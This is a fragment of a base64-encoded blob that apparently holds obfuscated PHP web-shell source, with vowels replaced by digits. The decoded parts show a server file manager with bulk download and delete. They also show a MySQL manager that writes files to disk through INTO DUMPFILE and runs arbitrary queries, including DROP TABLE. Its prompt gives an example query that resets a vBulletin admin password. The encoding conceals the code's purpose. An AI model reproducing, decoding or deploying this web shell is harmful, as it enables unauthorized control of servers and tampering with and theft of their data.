yI+UjVuMW01PC8xPiB8ICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDoycGY0bDUoXCduNXd0NG01XCcsXCcnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnLFwnJy4kZjRsNWRiWydkNHJsNG5rJ10uJ1wnKTsiPlQ0bTU8LzE+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZjRsNV80Kys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsMXNzPSJmMjN0NiI+PHRkIDFsNGduPSJjNW50NXIiPjw0bnAzdCBuMW01PSJjaGsxbGwiIHYxbDM1PSIybiIgdHlwNT0iY2g1Y2tiMngiIDJuY2w0Y2s9IkNoNWNrQWxsKHRoNHMuZjJybSkiIC8+PC90ZD48dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpkMmY0bDUoXCdkMnducjFyXCcpOyI+UDFjazRuZyBkMndubDIxZCBzNWw1Y3Q1ZDwvMT4gLSA8MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGY0bDVzXCcpOyI+RDVsNXQ1IHM1bDVjdDVkPC8xPjwvdGQ+PHRkIGMybHNwMW49InUiIDFsNGduPSJyNGdodCI+Jy4kZDRyXzQuJyBkNHI1Y3QycjQ1cyAvICcuJGY0bDVfNC4nIGY0bDVzPC90ZD48L3RyPicpOw0KCXAoJzwvZjJybT48L3QxYmw1PicpOw0KfS8vIDVuZCBkNHINCg0KNWxzNTRmICgkMWN0NDJuID09ICdzcWxmNGw1Jykgew0KCTRmKCRkMjRuZz09Im15c3FsM3BsMjFkIil7DQoJCSRmNGw1ID0gJF9GSUxFU1snM3BsMjFkZjRsNSddOw0KCQkkZjRsNW4xbTUgPSAkZjRsNVsndG1wX24xbTUnXTsNCgkJNGYgKGY0bDVfNXg0c3RzKCRzMXY1cDF0aCkpIHsNCgkJCW0oJ1RoNSBnMjFsIGY0bDUgaDFzIDFscjUxZHkgNXg0c3Q1ZCcpOw0KCQl9IDVsczUgew0KCQkJNGYoISRmNGw1bjFtNSkgew0KCQkJCW0oJ1BsNTFzNSBjaDIyczUgMSBmNGw1Jyk7DQoJCQl9IDVsczUgew0KCQkJCSRmcD1AZjJwNW4oJGY0bDVuMW01LCdyJyk7DQoJCQkJJGMybnQ1bnRzPUBmcjUxZCgkZnAsIGY0bDVzNHo1KCRmNGw1bjFtNSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkkYzJudDVudHMgPSBiNG5haDV4KCRjMm50NW50cyk7DQoJCQkJNGYoISQzcG4xbTUpICQzcG4xbTUgPSAkZjRsNVsnbjFtNSddOw0KCQkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJCSRyNXMzbHQgPSBxKCJTRUxFQ1QgMHh7JGMybnQ1bnRzfSBGUk9NIG15c3FsLjNzNXIgSU5UTyBEVU1QRklMRSAnJHMxdjVwMXRoJzsiKTsNCgkJCQltKCRyNXMzbHQgPyAnVXBsMjFkIHMzY2M1c3MnIDogJ1VwbDIxZCBoMXMgZjE0bDVkOiAnLm15c3FsXzVycjJyKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KZjNuY3Q0Mm4gbXlzcWxmNGw1KGQyNG5nKXsNCgk0ZighZDI0bmcpIHI1dDNybjsNCgkkKCdkMjRuZycpLnYxbDM1PWQyNG5nOw0KCSQoJ215c3FsZjRsNScpLmRiaDJzdC52MWwzNT0kKCdkYjRuZjInKS5kYmgyc3QudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuZGJwMnJ0LnYxbDM1PSQoJ2RiNG5mMicpLmRicDJydC52MWwzNTsNCgkkKCdteXNxbGY0bDUnKS5kYjNzNXIudjFsMzU9JCgnZGI0bmYyJykuZGIzczVyLnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRicDFzcy52MWwzNT0kKCdkYjRuZjInKS5kYnAxc3MudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuZGJuMW01LnYxbDM1PSQoJ2RiNG5mMicpLmRibjFtNS52MWwzNTsNCgkkKCdteXNxbGY0bDUnKS5jaDFyczV0LnYxbDM1PSQoJ2RiNG5mMicpLmNoMXJzNXQudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuczNibTR0KCk7DQp9DQo8L3NjcjRwdD4NCjw/cGhwDQoJISRkYmgyc3QgJiYgJGRiaDJzdCA9ICdsMmMxbGgyc3QnOw0KCSEkZGIzczVyICYmICRkYjNzNXIgPSAncjIydCc7DQoJISRkYnAycnQgJiYgJGRicDJydCA9ICdvbzBlJzsNCgkkY2gxcnM1dHMgPSAxcnIxeSgnJz0+J0Q1ZjEzbHQnLCdnYmsnPT4nR0JLJywgJ2I0Z2knPT4nQjRnaScsICczdGY4Jz0+J1VURi04JywgJ2wxdDRuNic9PidMMXQ0bjYnKTsNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nTVlTUUwgSW5mMnJtMXQ0Mm4nLCduMW01Jz0+J2RiNG5mMicpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnc3FsZjRsNScpOw0KCXAoJzxwPicpOw0KCXAoJ0RCSDJzdDonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJoMnN0JywnczR6NSc9PmEwLCd2MWwzNSc9PiRkYmgyc3QpKTsNCglwKCc6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RicDJydCcsJ3M0ejUnPT51LCd2MWwzNSc9PiRkYnAycnQpKTsNCglwKCdEQlVzNXI6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RiM3M1cicsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGIzczVyKSk7DQoJcCgnREJQMXNzOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYnAxc3MnLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JGRicDFzcykpOw0KCXAoJ0RCTjFtNTonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJuMW01JywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYm4xbTUpKTsNCglwKCdEQkNoMXJzNXQ6Jyk7DQoJbTFrNXM1bDVjdCgxcnIxeSgnbjFtNSc9PidjaDFyczV0JywnMnB0NDJuJz0+JGNoMXJzNXRzLCdzNWw1Y3Q1ZCc9PiRjaDFyczV0KSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQoJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCIgNW5jdHlwNT0ibTNsdDRwMXJ0L2Yycm0tZDF0MSIgbjFtNT0ibXlzcWxmNGw1IiA0ZD0ibXlzcWxmNGw1Ij4nKTsNCglwKCc8aGE+VXBsMjFkIGY0bDU8L2hhPicpOw0KCXAoJzxwPjxiPlRoNHMgMnA1cjF0NDJuIHRoNSBEQiAzczVyIG0zc3QgaDFzIEZJTEUgcHI0djRsNWc1PC9iPjwvcD4nKTsNCglwKCc8cD5TMXY1IHAxdGgoZjNsbHAxdGgpOiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJzMXY1cDF0aCIgczR6NT0idWkiIHR5cDU9InQ1eHQiIC8+IENoMjJzNSAxIGY0bDU6IDw0bnAzdCBjbDFzcz0iNG5wM3QiIG4xbTU9IjNwbDIxZGY0bDUiIHR5cDU9ImY0bDUiIC8+IDwxIGhyNWY9ImoxdjFzY3I0cHQ6bXlzcWxmNGw1KFwnbXlzcWwzcGwyMWRcJyk7Ij5VcGwyMWQ8LzE+PC9wPicpOw0KCXAoJzxoYT5EMndubDIxZCBmNGw1PC9oYT4nKTsNCglwKCc8cD5GNGw1OiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJteXNxbGRsZjRsNSIgczR6NT0iNjZpIiB0eXA1PSJ0NXh0IiAvPiA8MSBocjVmPSJqMXYxc2NyNHB0Om15c3FsZjRsNShcJ215c3FsZDJ3blwnKTsiPkQyd25sMjFkPC8xPjwvcD4nKTsNCgltMWs1aDRkNSgnZGJoMnN0Jyk7DQoJbTFrNWg0ZDUoJ2RicDJydCcpOw0KCW0xazVoNGQ1KCdkYjNzNXInKTsNCgltMWs1aDRkNSgnZGJwMXNzJyk7DQoJbTFrNWg0ZDUoJ2RibjFtNScpOw0KCW0xazVoNGQ1KCdjaDFyczV0Jyk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbGY0bDUnKTsNCglwKCc8L2Yycm0+Jyk7DQp9DQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc3FsMWRtNG4nKSB7DQoJISRkYmgyc3QgJiYgJGRiaDJzdCA9ICdsMmMxbGgyc3QnOw0KCSEkZGIzczVyICYmICRkYjNzNXIgPSAncjIydCc7DQoJISRkYnAycnQgJiYgJGRicDJydCA9ICdvbzBlJzsNCgkkZGJmMnJtID0gJzw0bnAzdCB0eXA1PSJoNGRkNW4iIDRkPSJjMm5uNWN0IiBuMW01PSJjMm5uNWN0IiB2MWwzNT0iNiIgLz4nOw0KCTRmKDRzczV0KCRkYmgyc3QpKXsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRiaDJzdFwiIG4xbTU9XCJkYmgyc3RcIiB2MWwzNT1cIiRkYmgyc3RcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRiM3M1cikpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRiM3M1clwiIG4xbTU9XCJkYjNzNXJcIiB2MWwzNT1cIiRkYjNzNXJcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRicDFzcykpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRicDFzc1wiIG4xbTU9XCJkYnAxc3NcIiB2MWwzNT1cIiRkYnAxc3NcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRicDJydCkpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRicDJydFwiIG4xbTU9XCJkYnAycnRcIiB2MWwzNT1cIiRkYnAycnRcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRibjFtNSkpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRibjFtNVwiIG4xbTU9XCJkYm4xbTVcIiB2MWwzNT1cIiRkYm4xbTVcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGNoMXJzNXQpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJjaDFyczV0XCIgbjFtNT1cImNoMXJzNXRcIiB2MWwzNT1cIiRjaDFyczV0XCIgLz5cbiI7DQoJfQ0KDQoJNGYgKCRkMjRuZyA9PSAnYjFjazNwbXlzcWwnICYmICRzMXY1MXNmNGw1KSB7DQoJCTRmICghJHQxYmw1KSB7DQoJCQltKCdQbDUxczUgY2gyMnM1IHRoNSB0MWJsNScpOw0KCQl9IDVsczUgew0KCQkJZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUsJGNoMXJzNXQsJGRicDJydCk7DQoJCQkkdDFibDUgPSAxcnIxeV9mbDRwKCR0MWJsNSk7DQoJCQkkZnAgPSBAZjJwNW4oJHAxdGgsJ3cnKTsNCgkJCTRmICgkZnApIHsNCgkJCQkkcjVzM2x0ID0gcSgnU0hPVyB0MWJsNXMnKTsNCgkJCQk0ZiAoISRyNXMzbHQpIHAoJzxoYT4nLm15c3FsXzVycjJyKCkuJzwvaGE+Jyk7DQoJCQkJJG15c3FsZDF0MSA9ICcnOw0KCQkJCXdoNGw1ICgkYzNycjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJCQkJNGYgKDRzczV0KCR0MWJsNVskYzNycjJ3WzBdXSkpIHsNCgkJCQkJCXNxbGQzbXB0MWJsNSgkYzNycjJ3WzBdLCAkZnApOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWZjbDJzNSgkZnApOw0KCQkJCSRmNGw1M3JsID0gc3RyX3I1cGwxYzUoU0FfUk9PVCwnJywkcDF0aCk7DQoJCQkJbSgnRDF0MWIxczUgaDFzIHMzY2M1c3MgYjFjazNwIHQyIDwxIGhyNWY9IicuJGY0bDUzcmwuJyIgdDFyZzV0PSJfYmwxbmsiPicuJHAxdGguJzwvMT4nKTsNCgkJCQlteXNxbF9jbDJzNSgpOw0KCQkJfSA1bHM1IHsNCgkJCQltKCdCMWNrM3AgZjE0bDVkJyk7DQoJCQl9DQoJCX0NCgl9DQoJNGYgKCQ0bnM1cnQgJiYgJDRuczVydHNxbCkgew0KCQkkazV5c3RyID0gJHYxbHN0ciA9ICR0bXAgPSAnJzsNCgkJZjJyNTFjaCgkNG5zNXJ0c3FsIDFzICRrNXkgPT4gJHYxbCkgew0KCQkJNGYgKCR2MWwpIHsNCgkJCQkkazV5c3RyIC49ICR0bXAuJGs1eTsNCgkJCQkkdjFsc3RyIC49ICR0bXAuIiciLjFkZHNsMXNoNXMoJHYxbCkuIiciOw0KCQkJCSR0bXAgPSAnLCc7DQoJCQl9DQoJCX0NCgkJNGYgKCRrNXlzdHIgJiYgJHYxbHN0cikgew0KCQkJZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUsJGNoMXJzNXQsJGRicDJydCk7DQoJCQltKHEoIklOU0VSVCBJTlRPICR0MWJsNW4xbTUgKCRrNXlzdHIpIFZBTFVFUyAoJHYxbHN0cikiKSA/ICdJbnM1cnQgbjV3IHI1YzJyZCAyZiBzM2NjNXNzJyA6IG15c3FsXzVycjJyKCkpOw0KCQl9DQoJfQ0KCTRmICgkM3BkMXQ1ICYmICQ0bnM1cnRzcWwgJiYgJGIxczVldSkgew0KCQkkdjFsc3RyID0gJHRtcCA9ICcnOw0KCQlmMnI1MWNoKCQ0bnM1cnRzcWwgMXMgJGs1eSA9PiAkdjFsKSB7DQoJCQkkdjFsc3RyIC49ICR0bXAuJGs1eS4iPSciLjFkZHNsMXNoNXMoJHYxbCkuIiciOw0KCQkJJHRtcCA9ICcsJzsNCgkJfQ0KCQk0ZiAoJHYxbHN0cikgew0KCQkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJCWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJbShxKCJVUERBVEUgJHQxYmw1bjFtNSBTRVQgJHYxbHN0ciBXSEVSRSAkd2g1cjUgTElNSVQgNiIpID8gJ1I1YzJyZCAzcGQxdDRuZycgOiBteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCgk0ZiAoJGQyNG5nID09ICdkNWwnICYmICRiMXM1ZXUpIHsNCgkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJJGQ1bDV0NV9zcWwgPSAiREVMRVRFIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUiOw0KCQlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJbShxKCJERUxFVEUgRlJPTSAkdDFibDVuMW01IFdIRVJFICR3aDVyNSIpID8gJ0Q1bDV0NDJuIHI1YzJyZCAyZiBzM2NjNXNzJyA6IG15c3FsXzVycjJyKCkpOw0KCX0NCg0KCTRmICgkdDFibDVuMW01ICYmICRkMjRuZyA9PSAnZHIycCcpIHsNCgkJZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUsJGNoMXJzNXQsJGRicDJydCk7DQoJCTRmIChxKCJEUk9QIFRBQkxFICR0MWJsNW4xbTUiKSkgew0KCQkJbSgnRHIycCB0MWJsNSAyZiBzM2NjNXNzJyk7DQoJCQkkdDFibDVuMW01ID0gJyc7DQoJCX0gNWxzNSB7DQoJCQltKG15c3FsXzVycjJyKCkpOw0KCQl9DQoJfQ0KDQoJJGNoMXJzNXRzID0gMXJyMXkoJyc9PidENWYxM2x0JywnZ2JrJz0+J0dCSycsICdiNGdpJz0+J0I0Z2knLCAnM3RmOCc9PidVVEYtOCcsICdsMXQ0bjYnPT4nTDF0NG42Jyk7DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nTVlTUUwgTTFuMWc1cicpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCglwKCc8cD4nKTsNCglwKCdEQkgyc3Q6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RiaDJzdCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4kZGJoMnN0KSk7DQoJcCgnOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYnAycnQnLCdzNHo1Jz0+dSwndjFsMzUnPT4kZGJwMnJ0KSk7DQoJcCgnREJVczVyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYjNzNXInLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JGRiM3M1cikpOw0KCXAoJ0RCUDFzczonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMXNzJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYnAxc3MpKTsNCglwKCdEQkNoMXJzNXQ6Jyk7DQoJbTFrNXM1bDVjdCgxcnIxeSgnbjFtNSc9PidjaDFyczV0JywnMnB0NDJuJz0+JGNoMXJzNXRzLCdzNWw1Y3Q1ZCc9PiRjaDFyczV0KSk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2Mybm41Y3QnLCd2MWwzNSc9PidDMm5uNWN0JywndHlwNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCj8+DQoNCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIDVkNHRyNWMycmQoMWN0NDJuLCBiMXM1ZXUsIHQxYmw1bjFtNSl7DQoJNGYgKDFjdDQybiA9PSAnZDVsJykgew0KCQk0ZiAoIWMybmY0cm0oJ0lzIDJyIDRzblwndCBkNWw1dDQybiByNWMycmQ/JykpIHI1dDNybjsNCgl9DQoJJCgncjVjMnJkbDRzdCcpLmQyNG5nLnYxbDM1PTFjdDQybjsNCgkkKCdyNWMycmRsNHN0JykuYjFzNWV1LnYxbDM1PWIxczVldTsNCgkkKCdyNWMycmRsNHN0JykudDFibDVuMW01LnYxbDM1PXQxYmw1bjFtNTsNCgkkKCdyNWMycmRsNHN0JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBtMmRkYm4xbTUoZGJuMW01KSB7DQoJNGYoIWRibjFtNSkgcjV0M3JuOw0KCSQoJ3M1dGRibjFtNScpLmRibjFtNS52MWwzNT1kYm4xbTU7DQoJJCgnczV0ZGJuMW01JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBzNXR0MWJsNSh0MWJsNW4xbTUsZDI0bmcscDFnNSkgew0KCTRmKCF0MWJsNW4xbTUpIHI1dDNybjsNCgk0ZiAoZDI0bmcpIHsNCgkJJCgnczV0dDFibDUnKS5kMjRuZy52MWwzNT1kMjRuZzsNCgl9DQoJNGYgKHAxZzUpIHsNCgkJJCgnczV0dDFibDUnKS5wMWc1LnYxbDM1PXAxZzU7DQoJfQ0KCSQoJ3M1dHQxYmw1JykudDFibDVuMW01LnYxbDM1PXQxYmw1bjFtNTsNCgkkKCdzNXR0MWJsNScpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8P3BocA0KCS8vIFNRTA0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3I1YzJyZGw0c3QnKSk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJbTFrNWg0ZDUoJ2IxczVldScpOw0KCW0xazVoNGQ1KCd0MWJsNW4xbTUnKTsNCglwKCRkYmYycm0pOw0KCWYycm1mMjJ0KCk7DQoNCgkvLyBEMXQxDQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nczV0ZGJuMW01JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCXAoJGRiZjJybSk7DQoJNGYgKCEkZGJuMW01KSB7DQoJCW0xazVoNGQ1KCdkYm4xbTUnKTsNCgl9DQoJZjJybWYyMnQoKTsNCg0KDQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nczV0dDFibDUnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJcCgkZGJmMnJtKTsNCgltMWs1aDRkNSgndDFibDVuMW01Jyk7DQoJbTFrNWg0ZDUoJ3AxZzUnLCRwMWc1KTsNCgltMWs1aDRkNSgnZDI0bmcnKTsNCglmMnJtZjIydCgpOw0KDQoJJGMxY2g1dDFibDVzID0gMXJyMXkoKTsNCgkkcDFnNW4zbSA9IG8wOw0KCSRwMWc1ID0gNG50djFsKCRwMWc1KTsNCgk0ZigkcDFnNSkgew0KCQkkc3QxcnRfbDRtNHQgPSAoJHAxZzUgLSA2KSAqICRwMWc1bjNtOw0KCX0gNWxzNSB7DQoJCSRzdDFydF9sNG00dCA9IDA7DQoJCSRwMWc1ID0gNjsNCgl9DQoJNGYgKDRzczV0KCRkYmgyc3QpICYmIDRzczV0KCRkYjNzNXIpICYmIDRzczV0KCRkYnAxc3MpICYmIDRzczV0KCRjMm5uNWN0KSkgew0KCQlkYmMybm4oJGRiaDJzdCwgJGRiM3M1ciwgJGRicDFzcywgJGRibjFtNSwgJGNoMXJzNXQsICRkYnAycnQpOw0KCQkvLyBnNXQgbXlzcWwgczVydjVyDQoJCSRteXNxbHY1ciA9IG15c3FsX2c1dF9zNXJ2NXJfNG5mMigpOw0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHY1ci4nIHIzbm40bmcgNG4gJy4kZGJoMnN0LicgMXMgJy4kZGIzczVyLidAJy4kZGJoMnN0Lic8L3A+Jyk7DQoJCSRoNGdodjVyID0gJG15c3FsdjVyID4gJ3UuNicgPyA2IDogMDsNCg0KCQkvLyBTaDJ3IGQxdDFiMXM1DQoJCSRxMzVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7DQoJCSRkYnMgPSAxcnIxeSgpOw0KCQkkZGJzW10gPSAnLS0gUzVsNWN0IDEgZDF0MWIxczUgLS0nOw0KCQl3aDRsNSgkZGIgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnkpKSB7DQoJCQkkZGJzWyRkYlsnRDF0MWIxczUnXV0gPSAkZGJbJ0QxdDFiMXM1J107DQoJCX0NCgkJbTFrNXM1bDVjdCgxcnIxeSgndDR0bDUnPT4nUGw1MXM1IHM1bDVjdCAxIGQxdDFiMXM1OicsJ24xbTUnPT4nZGJbXScsJzJwdDQybic9PiRkYnMsJ3M1bDVjdDVkJz0+JGRibjFtNSwnMm5jaDFuZzUnPT4nbTJkZGJuMW01KHRoNHMuMnB0NDJuc1t0aDRzLnM1bDVjdDVkSW5kNXhdLnYxbDM1KScsJ241d2w0bjUnPT42KSk7DQoJCSR0MWJsNWRiID0gMXJyMXkoKTsNCgkJNGYgKCRkYm4xbTUpIHsNCgkJCXAoJzxwPicpOw0KCQkJcCgnQzNycjVudCBkMWIxYjFzNTogPDEgaHI1Zj0iajF2MXNjcjRwdDptMmRkYm4xbTUoXCcnLiRkYm4xbTUuJ1wnKTsiPicuJGRibjFtNS4nPC8xPicpOw0KCQkJNGYgKCR0MWJsNW4xbTUpIHsNCgkJCQlwKCcgfCBDM3JyNW50IFQxYmw1OiA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJyk7Ij4nLiR0MWJsNW4xbTUuJzwvMT4gWyA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCc0bnM1cnRcJyk7Ij5JbnM1cnQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnc3RyM2N0M3I1XCcpOyI+U3RyM2N0M3I1PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ2RyMnBcJyk7Ij5EcjJwPC8xPiBdJyk7DQoJCQl9DQoJCQlwKCc8L3A+Jyk7DQoJCQlteXNxbF9zNWw1Y3RfZGIoJGRibjFtNSk7DQoNCgkJCSRnNXRuM21zcWwgPSAnJzsNCgkJCSRyM25xMzVyeSA9IDA7DQoJCQk0ZiAoJHNxbF9xMzVyeSkgew0KCQkJCSRyM25xMzVyeSA9IDY7DQoJCQl9DQoJCQkkMWxsMnc1ZDR0ID0gMDsNCgkJCTRmICgkdDFibDVuMW01ICYmICEkc3FsX3EzNXJ5KSB7DQoJCQkJJHNxbF9xMzVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0MWJsNW4xbTUiOw0KCQkJCSRnNXRuM21zcWwgPSAkc3FsX3EzNXJ5Ow0KCQkJCSRzcWxfcTM1cnkgPSAkc3FsX3EzNXJ5LiIgTElNSVQgJHN0MXJ0X2w0bTR0LCAkcDFnNW4zbSI7DQoJCQkJJDFsbDJ3NWQ0dCA9IDY7DQoJCQl9DQoJCQlwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIj4nKTsNCgkJCXAoJzxwPjx0MWJsNSB3NGR0aD0iYTAwIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCI+PHRyPjx0ZCBjMmxzcDFuPSJhIj5SM24gU1FMIHEzNXJ5L3EzNXI0NXMgMm4gZDF0MWIxczUgPGYybnQgYzJsMnI9cjVkPjxiPicuJGRibjFtNS4nPC9mMm50PjwvYj46PEJSPkV4MW1wbDUgVkJCIFAxc3N3MnJkOiA8ZjJudCBjMmwycj1yNWQ+dmIxdDUxbTwvZjJudD48QlI+PGYybnQgYzJsMnI9eTVsbDJ3PlVQREFURSBgM3M1cmAgU0VUIGBwMXNzdzJyZGAgPSBcJ2U5NWlvNWkxYjlpb2U1aWlkbzZmZmlvbzE1ZmN1ZmI1XCcsIHMxbHQgPSBcJ3BpVFwnIFdIRVJFIGAzczVyNGRgID0gXCc2XCcgPC9mMm50Pg0KDQoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dDV4dDFyNTEgbjFtNT0ic3FsX3EzNXJ5IiBjbDFzcz0iMXI1MSIgc3R5bDU9Inc0ZHRoOmUwMHB4O2g1NGdodDppMHB4OzJ2NXJmbDJ3OjEzdDI7Ij4nLmh0bWxzcDVjNDFsY2gxcnMoJHNxbF9xMzVyeSxFTlRfUVVPVEVTKS4nPC90NXh0MXI1MT48L3RkPjx0ZCBzdHlsNT0icDFkZDRuZzowIGlweDsiPjw0bnAzdCBjbDFzcz0iYnQiIHN0eWw1PSJoNTRnaHQ6aTBweDsiIG4xbTU9InMzYm00dCIgdHlwNT0iczNibTR0IiB2MWwzNT0iUTM1cnkiIC8+PC90ZD48L3RyPjwvdDFibDU+PC9wPicpOw0KCQkJbTFrNWg0ZDUoJ3QxYmw1bjFtNScsICR0MWJsNW4xbTUpOw0KCQkJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJCQlwKCRkYmYycm0pOw0KCQkJcCgnPC9mMnJtPicpOw0KCQkJNGYgKCR0MWJsNW4xbTUgfHwgKCRyM25xMzVyeSAmJiAkc3FsX3EzNXJ5KSkgew0KCQkJCTRmICgkZDI0bmcgPT0gJ3N0cjNjdDNyNScpIHsNCgkJCQkJJHI1czNsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0MWJsNW4xbTUiKTsNCgkJCQkJJHIyd2RiID0gMXJyMXkoKTsNCgkJCQkJd2g0bDUoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCQkkcjJ3ZGJbXSA9ICRyMnc7DQoJCQkJCX0NCgkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJcCgnPHRkPkY0NWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cDU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TjNsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LNXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RDVmMTNsdDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyMTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWYycjUxY2ggKCRyMndkYiAxcyAkcjJ3KSB